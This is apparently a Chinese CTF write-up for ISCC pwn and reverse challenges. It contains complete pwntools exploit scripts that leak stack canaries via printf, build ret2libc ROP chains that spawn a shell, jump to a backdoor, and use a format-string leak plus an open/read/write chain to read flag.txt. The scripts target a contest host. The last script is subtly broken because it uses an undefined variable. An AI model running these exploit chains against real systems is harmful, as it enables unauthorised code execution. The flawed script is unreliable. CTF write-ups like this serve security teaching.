pwn

开了canary,可以用printf泄露canary后面直接打libc就好了

libc:libc database search

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('192.168.9.151',55097)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')
io=remote('101.200.155.151',12400)
elf = ELF('./pwn')
libc = ELF('./1.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
io.recvuntil('name?\n')
io.sendline(b'a'*0x40)
io.recvuntil('a'*0x40)
canary=u32(io.recv(4))-0xa
print(hex(canary))

payload = b'a'*0x40 + p32(canary) + b'a'*0xC + p32(puts_plt)+p32(main)+p32(puts_got)
io.recvuntil(b'?\n')
io.send(payload)
io.recvuntil(b'\n')
puts_addr=u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc_base=puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
io.recvuntil('name?\n')
io.sendline(b'a'*0x40)
io.recvuntil('a'*0x40)
canary=u32(io.recv(4))-0xa
print(hex(canary))

payload = b'a'*0x40 + p32(canary) + b'a'*0xC + p32(system) + p32(0) + p32(bin_sh)
io.send(payload)
io.interactive()

key

给了libc开了canary和nx

首先要让key变为520,然后漏洞函数和上一题逻辑一样,这里没搞懂是怎么改变prt的

fg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 fg()
{
_BYTE *v0; // rax
int v2; // [rsp+4h] [rbp-1Ch] BYREF
void *ptr; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( key != 520 )
{
ptr = malloc(0x64uLL);
if ( !ptr )
{
perror("malloc failed");
exit(1);
}
v0 = ptr;
*ptr = 'galf';
v0[4] = 0;
free(ptr);
puts("size:");
if ( __isoc99_scanf("%d", &v2) != 1 || v2 <= 0 || v2 > 1024 )
{
fwrite("Invalid size\n", 1uLL, 0xDuLL, stderr);
exit(1);
}
getchar();
v4 = malloc(v2);
if ( !v4 )
{
perror("malloc failed");
exit(1);
}
puts("flag:");
__isoc99_scanf("%s", v4);
getchar();
if ( !strncmp(ptr, "flag", 4uLL) )
key = 520;
free(v4);
}
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('192.168.9.151',55097)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')
io=remote('101.200.155.151',12200)
#io=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so')
#gdb.attach(io,"b main")
#sleep(3)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi=0x4014c3
ret=0x000000000040101a
io.sendlineafter(b'size:',b'100')
io.sendlineafter(b'flag:',b'flag')
io.recvuntil(b'welcome to ISCC')
io.sendline(b'a'*0x18)
io.recvuntil(b'a'*0x18)
canary=u64(io.recv(8))-0xa
print(hex(canary))

payload=b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'you',payload)
io.recvuntil(b'you too!')
puts_addrs=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(hex(puts_addrs))
libc_base=puts_addrs-libc.sym['puts']
system=libc_base + libc.sym['system']
bin_sh=libc_base + next(libc.search(b'/bin/sh'))
io.recvuntil(b'welcome to ISCC')
io.sendline(b'a'*0x18)
io.recvuntil(b'a'*0x18)
canary=u64(io.recv(8))-0xa
print(hex(canary))
payload=b'a'*0x18+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'you',payload)
io.interactive()

genius

和初赛前两题做法类似覆盖canary最后一位用printf输出,有后门函数直接gets栈溢出控制执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = remote('192.168.9.151',55097)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')
#gdb.attach(io)
io=remote('101.200.155.151',12000)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
backdoor = 0x4011A6
ret = 0x40101a
io.sendline(b'no')
sleep(1)
io.sendline(b'thanks')
sleep(1)
io.recvuntil(b"in init")
io.sendline(b'a'*0x18)
io.recvuntil(b'a'*0x18)
canary=u64(io.recv(8))-0xa
print(hex(canary))

io.recvuntil(b'you')
payload = b'a'*0x18+p64(canary)+p64(0)+p64(ret)+p64(backdoor)
io.send(payload)
io.interactive()

Dilemma

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

存在格式化字符串漏洞开了沙箱禁用了execve

case1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 func_1()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( HP )
{
puts("Enter you password:");
read(0, buf, 0x30uLL);
printf(buf);
if ( MP == 1 )
{
puts("I will check your password:");
read(0, buf, 0x50uLL);
MP = 0;
HP = 0;
}
else
{
puts("You are dead!");
}
HP = 0;
MP = 0;
}
else
{
puts("Here, all is void and still");
}
return v2 - __readfsqword(0x28u);
}

case2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 func_0()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("We have a lot to talk about");
read(0, buf, 0x100uLL);
if ( !HP && LP == 1 )
{
puts("To find life in the face of death");
printf(buf);
LP = 0;
}
return v2 - __readfsqword(0x28u);
}

可以先选择case1用第一次read泄露出canary和libc,第二次read其实可以不用,此时HP=0 MP=0 LP=1,选择case2 执行orw泄露出flag。

Libc:libc database search

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*

context(arch='amd64',log_level='debug',os='linux')
#io = process('./pwn')
io = remote('101.200.155.151',12500)
elf = ELF('./pwn')
libc = ELF('./1.so')

bss = 0x404000 + 0x900
pop_rdi = 0x40119a
ret = 0x40101a
pop_rsi_r15 = 0x40119c
again = 0x4012BA
io.recvuntil("you go?\n")
io.sendline("1")
io.recvuntil("you password:\n")
payload = b'%39$p%11$p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil("0x")
libc_start = int(io.recv(12),16) - 128
libc_base = libc_start- libc.sym['__libc_start_main']
io.recvuntil("0x")

canary = int(io.recv(16),16)
io.recvuntil("I will check your password:")
io.send("a"*8)
io.recvuntil("where are you go?\n")
io.sendline("2")
io.recvuntil("We have a lot to talk about\n")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
io.send(payload)
io.recvuntil(b"a"*0x28)
pop_rdx_r12 = 0x11f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
payload = b'./flag.txt'
payload = payload2.ljust(0x28,b'\x00') + p64(canary) + p64(0) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
#gdb.attach(io)
io.send(payload)
io.interactive()

逆向

faze

程序用于生成一个flag并将其存在v9中if ( (unsigned __int8)std::operator==<char>(v8, v9) )处检查v8输入值与v9中存储的flag是否一致,故在该处下断点动调v9值即为flag

1

SP

upx脱壳

在upx的文件路径下打开cmd

1
upx -d "E:\question bank\国内赛\iscc\attachment-9\sp36.exe"

去壳后IDA打开找到main函数在该处下断点

1

调试器选择Local Windows debugger在调试器中选择源码级调试

运行后随便输点东西,回车

回到main函数找到V13双击点进去按两下d得到flag

1

零宽字符隐写网站:https://yuanfux.github.io/zero-width-web/